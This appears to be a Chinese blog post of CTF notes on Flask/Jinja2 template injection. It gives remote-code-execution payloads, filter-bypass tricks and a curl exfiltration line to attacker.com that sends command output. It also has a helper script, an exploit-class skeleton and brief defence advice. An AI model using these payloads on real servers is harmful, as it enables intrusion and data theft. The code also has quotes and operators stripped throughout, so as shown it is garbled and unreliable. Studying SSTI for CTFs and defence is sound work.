Flask/Jinja2 SSTI通关CTFshow-WEB入门系列:从基础payload到绕过层层过滤的实战笔记

张开发
2026/4/19 1:56:21 15 分钟阅读

分享文章

Flask/Jinja2 SSTI通关CTFshow-WEB入门系列:从基础payload到绕过层层过滤的实战笔记
Flask/Jinja2 SSTI漏洞实战从基础到高阶绕过的完整方法论在CTF竞赛的Web安全赛题中模板注入漏洞SSTI一直是高频考点。本文将系统梳理Flask/Jinja2环境下SSTI的利用链条通过难度递增的实战案例带你掌握从基础payload构造到复杂过滤绕过的完整知识体系。1. SSTI核心原理与基础利用模板注入的本质是服务端将用户输入作为模板语法解析执行。在Flask框架中Jinja2作为默认模板引擎其{{}}语法允许执行Python表达式。当攻击者能够控制模板内容时就能通过构造特殊对象链实现RCE。基础利用链构造三要素获取基类通过.__class__.__mro__[1]获取object基类定位危险子类遍历__subclasses__()寻找包含os模块引用的类如os._wrap_close调用命令执行通过__globals__获取os模块后调用popen等函数# 典型payload结构 {{ .__class__.__mro__[1].__subclasses__()[132].__init__.__globals__[popen](whoami).read() }}关键内置属性速查表属性作用示例__class__获取对象所属类.__class__→class str__mro__方法解析顺序元组str.__mro__→(str, object)__subclasses__()获取子类列表object.__subclasses__()__globals__函数全局命名空间func.__globals____builtins__内置函数集合__builtins__.eval注意不同Python版本子类索引可能变化实战中需动态确定危险类位置2. 常规过滤的绕过技巧CTF题目通常会设置层层过滤限制我们需要灵活运用各种技巧突破防线。2.1 字符限制突破方案引号被过滤时使用request对象传递参数{{ url_for.__globals__[request.args.a][request.args.b](request.args.c).read() }} ?aosbpopencwhoami字符串拼接{% set chrurl_for.__globals__.__builtins__.chr %} {{ chr(111)chr(115) }} # 输出os中括号被过滤时使用__getitem__方法替代{{ config.__str__().__getitem__(2) }} # 等效于config.__str__()[2]利用过滤器转换{{ (config|string|list).pop(1) }} # 将字符串转为列表后取元素2.2 关键词过滤绕过当下划线被禁用时可采用以下方案{% set a(()|select|string|list).pop(24) %} # 获取_字符 {% set globals(a,a,dict(globals1)|join,a,a)|join %} # 拼接__globals__ {{ (lipsum|attr(globals)).get(os) }}当数字被禁用时利用过滤器生成{% set onedict(a1)|join|length %} # 值为1 {% set twodict(aa1)|join|length %} # 值为23. 无回显场景下的利用技术当表达式执行结果被过滤时需要采用盲注技术3.1 布尔盲注方案{% if lipsum.__globals__.os.popen(id).read()[0]u %} {{ 1/0 }} # 通过报错显式判断 {% endif %}3.2 外带数据技术{% set cmdcurl http://attacker.com/?datalipsum.__globals__.os.popen(id).read() %} {{ lipsum.__globals__.os.popen(cmd) }}4. 自动化payload生成实践面对复杂过滤条件手动构造payload效率低下。这里分享几个实用脚本技巧字符定位脚本import requests def find_char(target): for i in range(500): r requests.get(fhttp://target/?name{{config.__str__().__getitem__({i})}}) if target in r.text: return i return None # 生成cat /flag的字符索引 print([find_char(c) for c in cat /flag])全自动利用框架class SSTIExploit: def __init__(self, url): self.url url self.charset {} def build_reference(self): # 自动建立字符索引库 pass def generate_payload(self, cmd): # 根据过滤规则动态生成payload pass def execute(self, cmd): payload self.generate_payload(cmd) return requests.get(self.url, params{name:payload}).text5. 防御方案与检测技巧作为开发者应当了解如何防范SSTI漏洞安全开发实践始终对用户输入进行严格过滤使用Jinja2的沙箱环境禁用不必要的模板功能检测方法论# 简易检测脚本 test_cases [ {{7*7}}, # 基础检测 {{self}}, # 对象检测 {% debug %} # 调试模式检测 ] def check_ssti(url): for payload in test_cases: if requests.get(url, params{name:payload}).text.strip() 49: return True return False在真实业务场景中建议结合SAST工具进行自动化检测同时建立模板使用的白名单机制。对于CTF选手而言理解这些防御手段也能帮助逆向思考突破方案。

更多文章